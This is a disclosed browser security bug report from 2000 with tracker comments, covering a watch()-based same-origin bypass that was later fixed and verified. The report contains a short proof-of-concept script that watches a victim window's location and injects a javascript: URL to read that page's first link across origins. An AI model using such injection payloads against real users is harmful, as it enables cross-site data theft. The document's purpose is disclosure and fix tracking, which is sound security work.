28390 - watch() and bookmarks vulnerability

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Norris Boyd]

Subject: 
        BUG: watch() and bookmarks vulnerability
   Date: 
        Fri, 18 Feb 2000 16:13:34 +0200
   From: 
        Georgi Guninski <[e-mail]>
     To: 
        Norris Boyd <[e-mail]>




The watch() method when applied to window.location.href allows
circumventing Same Origin security policy.
But user interaction is required - selecting any bookmark from the menu
of the target window.
The code is:
-------------------------------------------------
Select a bookmark from the menu of the other window.
<SCRIPT>
a=window.open("http://www.yahoo.com","victim");
a.location.watch("href",function (id,oldval,newval) { return
"javascript:alert('The first link is:' +document.links[0].href)"; });
</SCRIPT>
-------------------------------------------------


watch() vulnerability. 
Select a bookmark from the menu of the other window.

Comment 1

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 2

[Jim Roskind]

Moving to M16 so that M15 can branch.

Comment 3

[Norris Boyd]

Add test case.

Comment 4

[Norris Boyd]

Fix checked in.

Comment 5

[John Unruh]

Norris - what is the expected behavior? What I see with Seamonkey is that when 
selecting a bookmark in the second window, nothing happens. With Nova, the 
bookmark selected is opened in the new window.

Comment 6

[John Unruh]

Verified.

Comment 7

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.